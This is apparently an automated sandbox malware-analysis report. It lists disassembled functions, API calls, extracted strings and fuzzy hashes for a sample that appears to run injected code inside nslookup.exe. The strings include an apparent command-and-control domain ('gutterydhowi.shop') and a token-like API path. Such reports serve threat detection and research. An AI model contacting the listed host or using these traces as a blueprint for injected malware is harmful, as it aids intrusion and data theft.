Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: nslookup.exePID: 6200, Parent PID: 3580COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.9%
Total number of Nodes:	98
Total number of Limit Nodes:	18

Executed Functions

Function 02CA0118 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 02CA0149
SysStringLen.OLEAUT32(?), ref: 02CA01FA
VariantClear.OLEAUT32 ref: 02CA0392

Strings

4`[b, xrefs: 02CA06D0
/.-,, xrefs: 02CA0693, 02CA069B
/.-,, xrefs: 02CA05E3, 02CA05EB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: Variant$ClearInitString
String ID: /.-,$/.-,$4`[b
API String ID: 825681660-3655442430
Opcode ID: 900f8072fb95b366b0520bbca5b1a0db59851a6defc5b8f6514a6785443bd6ea
Instruction ID: 179c37b3587bf66b112480919a2dfd1b582158bee717ea34e7a8860c672fc722
Opcode Fuzzy Hash: 900f8072fb95b366b0520bbca5b1a0db59851a6defc5b8f6514a6785443bd6ea
Instruction Fuzzy Hash: F3F1E972A48342CFD711DF28E891B2ABBE2FB89349F144E6CE58587281D735E910CF52

Function 02C6FEA0 Relevance: 14.4, Strings: 11, Instructions: 633
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|/s-, xrefs: 02C7085E
!, xrefs: 02C70160
-g.e, xrefs: 02C708C0
vA, xrefs: 02C707EE
WU, xrefs: 02C700B6
j?n=, xrefs: 02C70842
c;j9, xrefs: 02C7083B
a#B!, xrefs: 02C70849
+w#u, xrefs: 02C708A4
-{(y, xrefs: 02C708AB
*, xrefs: 02C7017E

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: *$+w#u$-g.e$-{(y$a#B!$c;j9$j?n=$vA$|/s-$WU$!
API String ID: 0-1787053657
Opcode ID: 591f812cfa46a7e8d2ce08d00b2aa89da2580ffc9f26b503cb56e655b8bddcf8
Instruction ID: e35db470416ec8d3f7f01eab8fce77d55bc40aad9b74693b70ed612fc1b0affa
Opcode Fuzzy Hash: 591f812cfa46a7e8d2ce08d00b2aa89da2580ffc9f26b503cb56e655b8bddcf8
Instruction Fuzzy Hash: 44522EB4501B40CFD3348F26D895B9BBBF1FB45708F108A1CE9AA9BA90D7B4A405CF95

Function 02C709FD Relevance: 10.1, Strings: 8, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|/s-, xrefs: 02C7085E
-g.e, xrefs: 02C708C0
vA, xrefs: 02C707EE
j?n=, xrefs: 02C70842
c;j9, xrefs: 02C7083B
a#B!, xrefs: 02C70849
+w#u, xrefs: 02C708A4
-{(y, xrefs: 02C708AB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: +w#u$-g.e$-{(y$a#B!$c;j9$j?n=$vA$|/s-
API String ID: 0-3368389427
Opcode ID: 1feb885ba64c2386cb97eed0a1802e1fa15c92523c902e4f790cfd2664163f91
Instruction ID: 8dc0656afd1cf0deafd8f05b8b24b3fc29414288bed9b0b3e91f795030a98857
Opcode Fuzzy Hash: 1feb885ba64c2386cb97eed0a1802e1fa15c92523c902e4f790cfd2664163f91
Instruction Fuzzy Hash: 34510CB8801B44CFD720DF66D585B9BBAF1FB11700F508A0CE5AA6BB50D770A449CF96

Function 02CA6C3F Relevance: 6.6, Strings: 5, Instructions: 387
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%sgh, xrefs: 02CA6E10
4`[b, xrefs: 02CA70A0
bkji, xrefs: 02CA6FEF, 02CA7092
bkji, xrefs: 02CA6F7B, 02CA6F53, 02CA6F5B
@, xrefs: 02CA6CBB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: %sgh$4`[b$@$bkji$bkji
API String ID: 0-3908831760
Opcode ID: 92dcfdaac2c1a3d0e00700a553405487952dd5303a6b6d86b5316329fff64838
Instruction ID: fc4e11f12940f1a164e687b8b709290fac1b948b4cb80d84ad0ba6ee53b058f1
Opcode Fuzzy Hash: 92dcfdaac2c1a3d0e00700a553405487952dd5303a6b6d86b5316329fff64838
Instruction Fuzzy Hash: 41D1A87490C2429FD711DF28D8A4B2EFBE9EB95348F688D2CE1C587291D336D864CB52

Function 02C6F940 Relevance: 6.6, Strings: 5, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UQpk1DxR1TmRPOKBsX.CR0IgSiGeqBvH1GQbvz5GmEc-1727564066-0.0.1.1-/api, xrefs: 02C6FDC7, 02C6FDE4
hl`b, xrefs: 02C6F952
abv>, xrefs: 02C6F983, 02C6F98B
,S, xrefs: 02C6FAEC
(+, xrefs: 02C6FC95

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: ,S$UQpk1DxR1TmRPOKBsX.CR0IgSiGeqBvH1GQbvz5GmEc-1727564066-0.0.1.1-/api$abv>$hl`b$(+
API String ID: 0-668803424
Opcode ID: 8ec70e66a79b962cbbce6a7f5f7a834a69f58d5adfddfa748fe32c5a9cab0c96
Instruction ID: 50f5fae90116b85cbe330019b720d0c190fa7b54ab7074ba1f16b0ed915889e2
Opcode Fuzzy Hash: 8ec70e66a79b962cbbce6a7f5f7a834a69f58d5adfddfa748fe32c5a9cab0c96
Instruction Fuzzy Hash: 93D17A7050C3818BD311DF18E498A2EFBE2AFD2648F18091CE4D69B752D376DA49CB97

Function 02CA6BB0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(02CAA35D,005C003F,00000006,?,?,00000018,;:54,?,?), ref: 02CA6BDE

Strings

;:54, xrefs: 02CA6BB0, 02CA6BCC, 02CA6BDA

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54
API String ID: 2994545307-2887251705
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 02C6ED69 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88b20a123a88a0c1c8081ab274eef95c8cc313d3810ed61350a30e80452b7ca7
Instruction ID: 40f2f92172bcacc1c65abd37c1645a524e602c08826405fceaf823c8ae8ef3e5
Opcode Fuzzy Hash: 88b20a123a88a0c1c8081ab274eef95c8cc313d3810ed61350a30e80452b7ca7
Instruction Fuzzy Hash: 58C04C71D84218ABCB109ED4D844BEDF7B8EB0E211F142910F515F3550D631D8508B28

Function 02C72763 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 300
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(910F9FD9,00000104), ref: 02C72BB0

Strings

D397067A670727AC2DE75B6F1BEE56FE, xrefs: 02C72763
F?>1, xrefs: 02C72A36
s{, xrefs: 02C729A7
7, xrefs: 02C72838
gutterydhowi.shop, xrefs: 02C72B62
XY, xrefs: 02C72AD8

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: DirectorySystem
String ID: 7$D397067A670727AC2DE75B6F1BEE56FE$F?>1$XY$gutterydhowi.shop$s{
API String ID: 2188284642-3734432599
Opcode ID: 3301ba54257dcdea81c227c301d89057d56f3f7109400b4e6d1480d6ac72da40
Instruction ID: bbd06189ae9e67254e53f2461c410348b62b60eb39fa9ecdfce5ebcf5457fba4
Opcode Fuzzy Hash: 3301ba54257dcdea81c227c301d89057d56f3f7109400b4e6d1480d6ac72da40
Instruction Fuzzy Hash: 07B147B040C3808AD7B18F24C494BEFBBE5AF8A708F14496DE8D99B242D7358649CF53

Function 02C9FF7B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 82
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 02C9FFCB
SysAllocString.OLEAUT32 ref: 02CA0087

Strings

=>?, xrefs: 02C9FF83
<;, xrefs: 02CA0033
13, xrefs: 02C9FFA3, 02C9FFAB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: AllocString
String ID: <;$13$=>?
API String ID: 2525500382-233072664
Opcode ID: abb93417c827395369b36305cd2e2189dc571b153cb74e0f46b6fc7f41ced2cc
Instruction ID: 6341b27bc3b6bcc10861d4975ab5f4da49659f64a04ae0f47fbe2c1366932ad2
Opcode Fuzzy Hash: abb93417c827395369b36305cd2e2189dc571b153cb74e0f46b6fc7f41ced2cc
Instruction Fuzzy Hash: 47310AB450E380AFC310AF59D598A1EBBF5AB96748F902A0DF5C18B201C3768815CBA3

Function 02C6D1B0 Relevance: 6.2, APIs: 4, Instructions: 168
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 02C6D1C1
GetCurrentThreadId.KERNEL32 ref: 02C6D1D6
GetCurrentProcessId.KERNEL32 ref: 02C6D1DC
ExitProcess.KERNEL32 ref: 02C6D3B0

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID:
API String ID: 1029096631-0
Opcode ID: b0098d64acc70078a9cd29c3c15194a8b49c86c0e3841fea91bfa16e379f7496
Instruction ID: 7485e7b05eea9c628cc98162bdc15f31b51760851b505ffff3636c65747a4416
Opcode Fuzzy Hash: b0098d64acc70078a9cd29c3c15194a8b49c86c0e3841fea91bfa16e379f7496
Instruction Fuzzy Hash: C941187060C3809BD301BF59D588A2EFBF6AF52709F188D1CE5C597252C336D8109BA7

Function 02CA60C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 02CA613C

Strings

b]h[, xrefs: 02CA60E5

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: LibraryLoad
String ID: b]h[
API String ID: 1029625771-2240951460
Opcode ID: 5e354bde950d41b55950d83df332ca3e73bd19cb01ba85771290ce5bf87e4dbe
Instruction ID: a3813b5d73e98b3ebf6a469a03704c0287044deef8c7211435fb7dc0fd0b636c
Opcode Fuzzy Hash: 5e354bde950d41b55950d83df332ca3e73bd19cb01ba85771290ce5bf87e4dbe
Instruction Fuzzy Hash: DE21A4B6D012819FCF15CFA8D8D0B6EBFB2AB49205F284489D551AB346C630DA11CBB9

Function 02C9FD80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(02CADCE0,00000000,00000001,02CADCD0,00000000), ref: 02C9FEA2

Strings

mIJK, xrefs: 02C9FDC5

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: CreateInstance
String ID: mIJK
API String ID: 542301482-2094758170
Opcode ID: 037998bdb843a1c1458ba9d917d9a56c25780522dd42308356812f2f73d0620c
Instruction ID: 0e1d28344a4f31003ece7c955498884c6ec9f31c22191f0c16c010b667db991b
Opcode Fuzzy Hash: 037998bdb843a1c1458ba9d917d9a56c25780522dd42308356812f2f73d0620c
Instruction Fuzzy Hash: 9E2148B0158381ABE3208F15D998B5FBBF8BB81708F90490CF6D88A281CBB19414CF92

Function 02C9FEB4 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 02C9FF27

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 362a9c3c2bc74f00298dd9b95989b268ac5487a0eaf6f2460bfb92ddbc86c3f0
Instruction ID: e5d78d373d576241887e4f5b3ffc7982d179913eb8d1f823b94cb02b5c070a53
Opcode Fuzzy Hash: 362a9c3c2bc74f00298dd9b95989b268ac5487a0eaf6f2460bfb92ddbc86c3f0
Instruction Fuzzy Hash: 1D0122B0509280EFD350AF28D898A1EBBF4AB86708F941D0CF1C28B251C732C811CF92

Function 02CA3DE0 Relevance: 1.5, APIs: 1, Instructions: 45
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 02CA3E53

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 52390a33e5ff04cd549791751e4523e6a53939c55b41cee8399935ba90af5b13
Instruction ID: 02c46fe6f7dfa19014f0fff3675ad039951d5e1524be522022ec6bce91633bad
Opcode Fuzzy Hash: 52390a33e5ff04cd549791751e4523e6a53939c55b41cee8399935ba90af5b13
Instruction Fuzzy Hash: EEF08C3490C281ABC701AF18E854B0EBBE5EF95604F058C5CE4C48B251C33ADC60CBA6

Function 02C72741 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 02C72753

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 70c19ece5d48b142a3dfe7d13dadac1b9eab98b6f33e74c80e7ffb255f563c06
Instruction ID: bd71fe9cca74d6cbc82692739fcd7d5b98fc0305a65ab4f8497b493f1a57f193
Opcode Fuzzy Hash: 70c19ece5d48b142a3dfe7d13dadac1b9eab98b6f33e74c80e7ffb255f563c06
Instruction Fuzzy Hash: 79D092307C8314B6F5310A08AC07F043150A302F66F300710F760BC1C09DE031208A1E

Function 02C9FF57 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 02C9FF69

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 5c6d69d28134c971a7cbcd88a384a91d4727f0d23aacf0c0d06eefac275f0ab1
Instruction ID: 678ce08f2b6a630535d0c7a1641e15adee91e81b02893ec4ae6d2535080dbac0
Opcode Fuzzy Hash: 5c6d69d28134c971a7cbcd88a384a91d4727f0d23aacf0c0d06eefac275f0ab1
Instruction Fuzzy Hash: AAD04C30BC4304B6F5320A14EC17F147564A746F93F201554F781BD0D0CAE262619549

Function 02C72720 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02C72731

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 5dadd15a0ed5871d96784aec74f9860984c1b4214dcdd73cafad9e8d118950bb
Instruction ID: ce414e5455cbca4e7d80e7c5db2ac0c6636f06e50817c8908913317c55b005aa
Opcode Fuzzy Hash: 5dadd15a0ed5871d96784aec74f9860984c1b4214dcdd73cafad9e8d118950bb
Instruction Fuzzy Hash: 61C08C30854208A7F210262DAC0AF53392CE3077A6F400720FAA0800C1AE502424D5FA

Non-executed Functions

Function 02C8DB00 Relevance: 27.1, APIs: 2, Strings: 13, Instructions: 806COMMON

Download Yara Rule

Strings

R7MI, xrefs: 02C8E5CE
?G?Y, xrefs: 02C8E5EE
f[,], xrefs: 02C8E5F6
1K&M, xrefs: 02C8E5D6
4`[b, xrefs: 02C8EC60
)O?A, xrefs: 02C8E5DE
>C$E, xrefs: 02C8E5E6
PS, xrefs: 02C8E606
4`[b, xrefs: 02C8E490
8_8Q, xrefs: 02C8E5FE
P?[1, xrefs: 02C8E633, 02C8E63B
A3L5, xrefs: 02C8E5C6
7Wu, xrefs: 02C8E794, 02C8E7A8

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: )O?A$1K&M$4`[b$4`[b$8_8Q$>C$E$?G?Y$A3L5$P?[1$PS$R7MI$f[,]$7Wu
API String ID: 0-1242765230
Opcode ID: 899e872196daf7e2a428dcc5cad6249f7c31e37fad592a9a01a3f0bba1dc519c
Instruction ID: fd906a07ee978055b300c34d81e2679c9959d4d2ae3ff0d5436b73268418becb
Opcode Fuzzy Hash: 899e872196daf7e2a428dcc5cad6249f7c31e37fad592a9a01a3f0bba1dc519c
Instruction Fuzzy Hash: A042DEB1908341CFD714AF28D8A072ABBE1FBD5349F448E2CE9D58B291E731D915CB92

Function 02C93240 Relevance: 18.5, APIs: 1, Strings: 9, Instructions: 1011COMMON

Download Yara Rule

Strings

2.%1, xrefs: 02C93413
av%, xrefs: 02C9326A
4_2], xrefs: 02C93F8A
C+N), xrefs: 02C93F58
?;2, xrefs: 02C93445
-6, xrefs: 02C933A5
NREH, xrefs: 02C937E3
(\QQ, xrefs: 02C93314
iJIQ, xrefs: 02C939F8

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: av%$(\QQ$2.%1$4_2]$?;2$C+N)$NREH$iJIQ$-6
API String ID: 0-2214297414
Opcode ID: 994f0758cf8362cddd8b70d828e007be26f94dadd4c76bf16eda28523ab325b6
Instruction ID: f1e28e79fc3b6ca2ac631303b169495f4870b6503130e9c7d2c92876540b38d7
Opcode Fuzzy Hash: 994f0758cf8362cddd8b70d828e007be26f94dadd4c76bf16eda28523ab325b6
Instruction Fuzzy Hash: B48268B0405F818EDB228F35C4987A3FBE0AF16309F58599DD4EB8B282D735A605CF65

Function 02C7FB39 Relevance: 17.4, Strings: 13, Instructions: 1195COMMON

Download Yara Rule

Strings

yw, xrefs: 02C7FBC5
LTI, xrefs: 02C80542
qo, xrefs: 02C7FBDB
<E:G, xrefs: 02C80DCB
URSP, xrefs: 02C802E6
L, xrefs: 02C80608
Q=A?, xrefs: 02C80DB5
, xrefs: 02C7FD80, 02C7FE70, 02C7FE37, 02C7FD47, 02C7FD56, 02C7FE46
X[ZE, xrefs: 02C805E7
@A, xrefs: 02C80DD6
A^_\, xrefs: 02C802C5
$'&!, xrefs: 02C8059A
TWVQ, xrefs: 02C805C6

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: $'&!$<E:G$@A$A^_\$L$LTI$Q=A?$TWVQ$URSP$X[ZE$qo$yw$
API String ID: 0-2229384479
Opcode ID: 447b7d7d3c1facf4fb0bfec2cb8bb08e613c3a60ac65b5c0cc7ba70515bcb416
Instruction ID: 45b63448469e846fe436e78fc15b012fbcc413807a9c3031216f851622fb1034
Opcode Fuzzy Hash: 447b7d7d3c1facf4fb0bfec2cb8bb08e613c3a60ac65b5c0cc7ba70515bcb416
Instruction Fuzzy Hash: 2EA267B56083819FE770DF14C890BABBBE2EFC5348F14892DE5C98B291DB719548CB52

Function 02C6F242 Relevance: 13.1, Strings: 10, Instructions: 615COMMON

Download Yara Rule

Strings

o9h;, xrefs: 02C6F502
}%v', xrefs: 02C6F56A
s!s#, xrefs: 02C6F510
m5o7, xrefs: 02C6F4FB
x)*+, xrefs: 02C6F51E
a1c3, xrefs: 02C6F4F4
}%v', xrefs: 02C6F517
h=m?, xrefs: 02C6F509
|s, xrefs: 02C6F4AE
gutterydhowi.shop, xrefs: 02C6F3C3, 02C6F7DC, 02C6F803

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: a1c3$gutterydhowi.shop$h=m?$m5o7$o9h;$s!s#$x)*+$|s$}%v'$}%v'
API String ID: 0-228397736
Opcode ID: 726ee22ac53332b7d8570945f800f7fc8908a9dd5eda54050c2c8f8104e6a4d4
Instruction ID: 7ce1b13a088edcf210efd8f04d796a1c633b0f33bc40b04e2d9839491e454013
Opcode Fuzzy Hash: 726ee22ac53332b7d8570945f800f7fc8908a9dd5eda54050c2c8f8104e6a4d4
Instruction Fuzzy Hash: 8D12BEB1D04204CFCB14CFA8E4D46ADBBB2FF4A358F2854ACD446AB752D3369946CB50

Function 02C8CEC0 Relevance: 12.9, Strings: 10, Instructions: 425COMMON

Download Yara Rule

Strings

w1u, xrefs: 02C8CF9F
/.-,, xrefs: 02C8D3C4, 02C8D3CD
X+\), xrefs: 02C8D101, 02C8D0D4, 02C8D0DD, 02C8D10B
c/g-, xrefs: 02C8CF4F
4`[b, xrefs: 02C8D320
+[&Y, xrefs: 02C8CF67
cS'Q, xrefs: 02C8CF57
=O?M, xrefs: 02C8CF8F
4`[b, xrefs: 02C8D400
$W U, xrefs: 02C8CF5F

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: w1u$$W U$+[&Y$/.-,$4`[b$4`[b$=O?M$X+\)$c/g-$cS'Q
API String ID: 0-1896435338
